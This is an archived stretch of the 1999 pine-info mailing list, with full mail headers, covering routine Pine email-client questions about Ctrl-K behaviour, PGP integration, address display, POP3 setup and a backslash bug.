(brain.eti.com [172.16.17.12]) by tahiti.eti.com (8.8.5/8.6.12) with ESMTP id OAA20662; Tue, 9 Feb 1999 14:22:32 -0600 (CST) Message-Id: Date: Tue, 9 Feb 1999 14:22:30 -0600 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Marty Hoff To: Pine Discussion Forum Subject: Re: re ctrl-K In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Steven Ertelt X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 9 Feb 1999, Steven Ertelt wrote: > I'm still wondering if anyone knows how to disable the ctrl-K command from > putting text that's cut onto the copy/paste clipboard. I used to use > Unix-based Pine and it didn't do that and PC Pine does. All of the UNIX pine implementations that I have used (pine 3.90 - 4.05) paste the clipboard when you use Control-K. As far as I can tell, that is not a configurable option, so I have no ided how the version you used to use would have accomplished this. Marty -------------------------------------------- Marty Hoff martang@eti.com Associate Manager of System Administration Evolutionary Technologies International, Inc. "Flat, drab passion meanders across the screen." -- Mike Nelson in MST3K's _The Screaming Skull_ From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 9 Feb 1999 14:19:04 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA24573 for ; Tue, 9 Feb 1999 14:19:03 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA06900; Tue, 9 Feb 1999 14:19:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA11515; Tue, 9 Feb 1999 11:49:33 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA26724 for ; Tue, 9 Feb 1999 11:39:52 -0800 Received: from gabriel.ul.ie (gabriel.ul.ie [136.201.1.101]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA29075 for ; Tue, 9 Feb 1999 11:39:50 -0800 (PST) Received: from student.ul.ie (tomnewe.staff5.ul.ie [136.201.144.170]) by gabriel.ul.ie with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id 1GVNSHTJ; Tue, 9 Feb 1999 19:40:25 -0000 Message-Id: <36C08F14.D413AC05@student.ul.ie> Date: Tue, 09 Feb 1999 19:40:04 +0000 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nicola Lenihan <9514139@student.ul.ie> To: Pine Discussion Forum Subject: [Fwd: PGP 5.0i with pine 3.92] MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------59E06075110E5924CD870643" X-Sender: root@mxu2.u.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------59E06075110E5924CD870643 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --------------59E06075110E5924CD870643 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Received: from lists3.u.washington.edu ([140.142.56.3]) by gabriel.ul.ie with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id 1GVNR8JV; Mon, 8 Feb 1999 11:15:17 -0000 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id DAA11251; Mon, 8 Feb 1999 03:12:31 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id DAA32962 for ; Mon, 8 Feb 1999 03:10:07 -0800 Received: from gabriel.ul.ie (gabriel.ul.ie [136.201.1.101]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id DAA11664 for ; Mon, 8 Feb 1999 03:10:03 -0800 (PST) Received: from student.ul.ie (tomnewe.staff5.ul.ie [136.201.144.170]) by gabriel.ul.ie with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id 1GVNR826; Mon, 8 Feb 1999 11:10:36 -0000 Message-Id: <36BEC648.A653FF2A@student.ul.ie> Date: Mon, 08 Feb 1999 11:11:05 +0000 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nicola Lenihan <9514139@student.ul.ie> To: Pine Discussion Forum Subject: PGP 5.0i with pine 3.92 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: root@mxu2.u.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi everyone, Can anyone help me? I am trying to get Pine working with PGP 5.0i. This is for a project I need to have done for two weeks time. Is there scripts available? I have found scripts such as mkpgp and pgppine but these are for pgp 2.6.3. I would be grateful for any help. Thanks Nicola Lenihan ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- --------------59E06075110E5924CD870643-- -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 9 Feb 1999 18:36:51 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id SAA28934 for ; Tue, 9 Feb 1999 18:36:50 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA13424; Tue, 9 Feb 1999 18:36:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA29044; Tue, 9 Feb 1999 15:48:20 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA10264 for ; Tue, 9 Feb 1999 14:44:01 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA26196 for ; Tue, 9 Feb 1999 14:43:59 -0800 (PST) Received: from aleph.ii.com ("port 1137"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J7JR149QU8000B9T@mail1.new-york.net> for pine-info@u.washington.edu; Tue, 9 Feb 1999 17:43:42 -0500 (EDT) Message-Id: Date: Tue, 09 Feb 1999 17:42:55 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy McGough To: Pine Discussion Forum Subject: Re: [Fwd: PGP 5.0i with pine 3.92] In-Reply-To: <36C08F14.D413AC05@student.ul.ie> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=ISO-8859-1 Content-transfer-encoding: 8BIT X-To: Nicola Lenihan <9514139@student.ul.ie> X-Cc: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Do you even use Pine as your mailer? If so, why was your Message-ID the following? Message-ID: <36C08F14.D413AC05@student.ul.ie> The best way to figure this out is to do some research yourself. This is one of the most frequently asked questions in comp.mail.pine and you can read through the archives by using DejaNews (www.dejanews.com). Or better yet, look at some of the many web pages about Pine. You can find the URL to the University of Washington Pine Information Center by typing ? on the Pine Main Menu and selecting "Pine Help." This mailing list is usually not very tolerant of questions like this. I don't know what's happened... -- ŠNancy McGough http://www.ii.com Infinite Ink --= Sent via PINE: Power Internet News & Email for Win/Unix =-- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 10 Feb 1999 09:57:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA11469 for ; Wed, 10 Feb 1999 09:57:24 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA06428; Wed, 10 Feb 1999 09:57:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA19374; Wed, 10 Feb 1999 09:54:40 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA22264 for ; Wed, 10 Feb 1999 09:51:01 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA09950 for ; Wed, 10 Feb 1999 09:51:01 -0800 Received: from localhost (hubert@localhost) by shiva1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA26034; Wed, 10 Feb 1999 09:50:57 -0800 Message-Id: Date: Wed, 10 Feb 1999 09:50:56 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steve Hubert To: Pine Discussion Forum Subject: Re: PATCH: Packing the addresses In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Shawn Jeffries X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I don't remember anybody arguing for the one-per-line style. We changed it to one-per-line and several people were upset. We changed it back and nobody was upset. If the number of people who want one-per-line is really small, we should leave the option out. -- Steve Hubert Networks and Distributed Computing, Univ. of Washington, Seattle On Fri, 5 Feb 1999, Shawn Jeffries wrote: > > Steve, > > I think the consensus is to make it a user option, if its at all possible. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 11 Feb 1999 00:26:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA23441 for ; Thu, 11 Feb 1999 00:26:37 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA24329; Thu, 11 Feb 1999 00:26:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id AAA11210; Thu, 11 Feb 1999 00:24:42 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id AAA28500 for ; Thu, 11 Feb 1999 00:21:29 -0800 Received: from josef.ifi.unizh.ch (josef.ifi.unizh.ch [130.60.48.10]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id AAA02975 for ; Thu, 11 Feb 1999 00:21:28 -0800 Received: from ifi.unizh.ch by josef.ifi.unizh.ch with SMTP (PP) id <11410-0@josef.ifi.unizh.ch>; Thu, 11 Feb 1999 09:21:21 +0100 Received: from localhost by manhattan via ESMTP (8.9.1b+Sun/JAN94.IFI.UNIZH.CH) id JAA01899; Thu, 11 Feb 1999 09:21:20 +0100 (MET) Message-Id: Date: Thu, 11 Feb 1999 09:21:11 +0100 (MET) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Denis N. Antonioli" To: Pine Discussion Forum Subject: Re: PATCH: Packing the addresses In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Steve Hubert X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN -----BEGIN PGP SIGNED MESSAGE----- On Wed, 10 Feb 1999, Steve Hubert wrote: > I don't remember anybody arguing for the one-per-line style. We changed it > to one-per-line and several people were upset. We changed it back and > nobody was upset. If the number of people who want one-per-line is really > small, we should leave the option out. Well, I've users here that actually liked the 'one address per line', that's why I've made an option out of it, back then, instead of disabling it, which would have been easier ;-) dna - -- You gain prestige not by what you sell nor by what you buy, but rather by what you freely give away to others, and how beautiful and useful that thing is. -- Tom Christiansen in <6rssj0$lda$1@csnews.cs.colorado.edu> -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: latin1 iQCVAwUBNsKS/37lXFr6ofWlAQGjSwP/YaAoPb+6AH1dEzpKJ8bKe0G2RJRCfQjh Y/1vYnhpxhmyqIK48gUPsS4khk+3TAu0IoU6JJ7Y5jkOX/d3FkABl93YzTJBMJRf BjhaUfWH+9M7G7C/88JBTahnZwxe0JH8r7d7DNsvTan4UaTQAu88Hzs+VJUT+A1O I3jrnD6i4S8= =OFxa -----END PGP SIGNATURE----- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 11 Feb 1999 02:16:14 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA25610 for ; Thu, 11 Feb 1999 02:16:13 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA25991; Thu, 11 Feb 1999 02:16:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id CAA16451; Thu, 11 Feb 1999 02:14:19 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id CAA27804 for ; Thu, 11 Feb 1999 02:11:59 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA15067 for ; Thu, 11 Feb 1999 02:11:59 -0800 Received: from giasmda.vsnl.net.in (giasmda.vsnl.net.in [202.54.6.161]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id CAA16037 for ; Thu, 11 Feb 1999 02:11:55 -0800 Received: from localhost by giasmda.vsnl.net.in (SMI-8.6/SMI-SVR4) id PAA22659; Thu, 11 Feb 1999 15:48:04 GMT Message-Id: Date: Thu, 11 Feb 1999 15:48:04 +0000 (IST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: ASHWANTH FERNANDO To: Pine Discussion Forum Subject: password 918218223 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: pine-info@cac.washington.edu X-Sender: ashwanth@giasmda X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Dear Pine Technical staff, Thanks for admitting me as a subscriber .My present password is 918218223 and I do not intend to change the same for the present. I am a student from India who has a 'Shell' -( text only account) and as a novice, I am now only learning Internet. VSNL my server uses the PINE programme for e-mail and I find it very useful. It is simple and effective. However of late I tried to down load a picture from an Internet site which did not fructify for reasons I don't know . May be it is due to the fact that mine is a shell account. However, after that whenever I open the PINE programme , the following message appears invariably:- Will you please explain what this means and how I can eliminate this message from appearing in the screen whenever I open the pine programme. . I hope you will reply to my query. My e-mail address is :- Thank you, Sirs, Ashwanth Fernando. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 11 Feb 1999 09:44:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA32717 for ; Thu, 11 Feb 1999 09:44:18 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA23762; Thu, 11 Feb 1999 09:44:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA01565; Thu, 11 Feb 1999 09:39:20 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA21360 for ; Thu, 11 Feb 1999 09:31:37 -0800 Received: from poison.slackinc.com (poison.slackinc.com [206.0.70.40]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA14064 for ; Thu, 11 Feb 1999 09:31:36 -0800 Received: by POISON with Internet Mail Service (5.5.1960.3) id <1RM2GSF0>; Thu, 11 Feb 1999 12:33:58 -0500 Message-Id: <0089B6FA4F0DD211AD4E0001FA7E5055B84309@POISON> Date: Thu, 11 Feb 1999 12:33:58 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: George Gallen To: Pine Discussion Forum Subject: POP3 Problem/Question MIME-Version: 1.0 Content-Type: text/plain X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I tried to setup a folder as a POP3 folder When adding the folder we used: {pop.erols.com/pop3/user=username}INBOX After entry, the cursor went to the bottom of the screen and did nothing, If I pressed , then it loaded the previous folder (a local INBOX), no error messages, just nothing. I also tried {pop.erols.com/pop3} hoping username would come up. I checked the configuration options thinking I had to turn on the POP3, but didn't see anything. One thought I had was possibly our firewall may be blocking outgoing pop3 requests? But before I submitted a "request" to ask if that were the case, I'd check to make sure everyhing was setup correctly. Is there anyway to test the above thoeory? that is, is there a pop3 server that is known to work that I could check against? Aside from using fetchmail (which I'm looking into at present). Using Pine 4.03 George Gallen ggallen@slackinc.com -----Original Message----- From: George Gallen [mailto:ggallen@slackinc.com] Sent: Friday, February 05, 1999 4:01 PM To: Pine Discussion Forum Subject: RE: Erols and IMAP (now a pop3 question) Never mind....spoke with erols, they only allow pop3 access. Do I need to add anything to my unix system to allow pine to access mailboxs via pop3? George Gallen ggallen@slackinc.com -----Original Message----- From: George Gallen [mailto:ggallen@slackinc.com] Sent: Friday, February 05, 1999 3:34 PM To: Pine Discussion Forum Subject: Erols and IMAP We have someone in our group, that wants to access their email from their erols account using pine (on a unix system). Does anyone know if erols has the ability to IMAP access to their members mail? I tried erols.com as the host, but our DNS shot that one down. Would the username/password be the same as thier login username/password? We are using pine 4.05. Thanks George Gallen ggallen@slackinc.com ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 11 Feb 1999 11:31:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA02437 for ; Thu, 11 Feb 1999 11:31:49 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA03644; Thu, 11 Feb 1999 11:31:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA11556; Thu, 11 Feb 1999 11:29:11 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA30950 for ; Thu, 11 Feb 1999 11:25:04 -0800 Received: from poison.slackinc.com (poison.slackinc.com [206.0.70.40]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA21186 for ; Thu, 11 Feb 1999 11:25:03 -0800 Received: by POISON with Internet Mail Service (5.5.1960.3) id <1RM2GSS3>; Thu, 11 Feb 1999 14:27:26 -0500 Message-Id: <0089B6FA4F0DD211AD4E0001FA7E5055B8430C@POISON> Date: Thu, 11 Feb 1999 14:27:26 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: George Gallen To: Pine Discussion Forum Subject: RE: POP3 Problem/Question MIME-Version: 1.0 Content-Type: text/plain X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Ok. that worked, so it's not our firewall. I read through the FAQ, and below seemed to be the correct method. I'm in the midst of loaded and playing with fetchmail, but in the mean time, I'd still like to get pine to do it (if it can). George -----Original Message----- From: Karl Zander [mailto:zander@commpartners.com] Sent: Thursday, February 11, 1999 2:15 PM To: George Gallen Cc: Pine Discussion Forum Subject: Re: POP3 Problem/Question George, RE: testing a POP3 connection. Do you have access to telnet? Can you telnet to pop.erols.com on port 110? A POP3 server should answer. Type quit to exit it. If you get no reply, check your firewall and other connections. Karl Zander On Thu, 11 Feb 1999, George Gallen wrote: > I tried to setup a folder as a POP3 folder > > When adding the folder we used: > > {pop.erols.com/pop3/user=username}INBOX > > After entry, the cursor went to the bottom of the screen > and did nothing, If I pressed , then it loaded the > previous folder (a local INBOX), no error messages, just nothing. > > I also tried {pop.erols.com/pop3} hoping username would > come up. > > I checked the configuration options thinking I had to > turn on the POP3, but didn't see anything. > > One thought I had was possibly our firewall may be blocking > outgoing pop3 requests? But before I submitted a "request" to > ask if that were the case, I'd check to make sure everyhing > was setup correctly. Is there anyway to test the above > thoeory? that is, is there a pop3 server that is known to > work that I could check against? > > Aside from using fetchmail (which I'm looking into at present). > > Using Pine 4.03 > > George Gallen > ggallen@slackinc.com > > -----Original Message----- > From: George Gallen [mailto:ggallen@slackinc.com] > Sent: Friday, February 05, 1999 4:01 PM > To: Pine Discussion Forum > Subject: RE: Erols and IMAP (now a pop3 question) > > > Never mind....spoke with erols, they only allow pop3 > access. Do I need to add anything to my unix system to > allow pine to access mailboxs via pop3? > > George Gallen > ggallen@slackinc.com > > -----Original Message----- > From: George Gallen [mailto:ggallen@slackinc.com] > Sent: Friday, February 05, 1999 3:34 PM > To: Pine Discussion Forum > Subject: Erols and IMAP > > > We have someone in our group, that wants to access their > email from their erols account using pine (on a unix system). > > Does anyone know if erols has the ability to IMAP access to > their members mail? I tried erols.com as the host, but our > DNS shot that one down. Would the username/password be the > same as thier login username/password? > > We are using pine 4.05. > > > Thanks > George Gallen > ggallen@slackinc.com > > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > -- > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 11 Feb 1999 11:34:00 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA32059 for ; Thu, 11 Feb 1999 11:33:59 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA26859; Thu, 11 Feb 1999 11:33:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA11751; Thu, 11 Feb 1999 11:31:54 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA30814 for ; Thu, 11 Feb 1999 11:29:18 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA21914 for ; Thu, 11 Feb 1999 11:29:18 -0800 Received: from localhost (hubert@localhost) by shiva1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA09374; Thu, 11 Feb 1999 11:28:50 -0800 Message-Id: Date: Thu, 11 Feb 1999 11:28:50 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steve Hubert To: Pine Discussion Forum Subject: Re: Bug: detokenizing backslashes In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "Marcin 'Qrczak' Kowalczyk" X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Yes, the backslash stuff was botched. We'll fix it for pine 4.20. I think we'll make it so you don't have to escape anything, instead of making you have to put extra backslashes in. Thanks. -- Steve Hubert Networks and Distributed Computing, Univ. of Washington, Seattle On Sat, 6 Feb 1999, Marcin 'Qrczak' Kowalczyk wrote: > Thanks for pine 4.10! > > detoken_src() in pine/reply.c makes multiple passes until nothing changes. > It thus gives incorrect results with backslashes: e.g. \\_ is transformed > into \_ and then finally into _. While _token_ resolving can be repeated, > backslash removing can't. I guess it should be done only once at the end, > or I can't use my signature without hacking pine :-) > > Should I try to make a patch? From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 11 Feb 1999 14:09:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA06059 for ; Thu, 11 Feb 1999 14:09:41 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA31130; Thu, 11 Feb 1999 14:09:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA20657; Thu, 11 Feb 1999 14:06:02 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA10448 for ; Thu, 11 Feb 1999 14:02:42 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA26460 for ; Thu, 11 Feb 1999 14:02:42 -0800 Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA07769; Thu, 11 Feb 1999 14:02:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id NAA19506; Thu, 11 Feb 1999 13:59:07 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id NAA16888 for ; Thu, 11 Feb 1999 13:36:57 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA22090 for ; Thu, 11 Feb 1999 13:36:56 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA30255 for ; Thu, 11 Feb 1999 13:36:56 -0800 Received: from D-140-142-110-210.dhcp.washington.edu (D-140-142-110-210.dhcp.washington.edu [140.142.110.210]) by shiva1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA15660 for ; Thu, 11 Feb 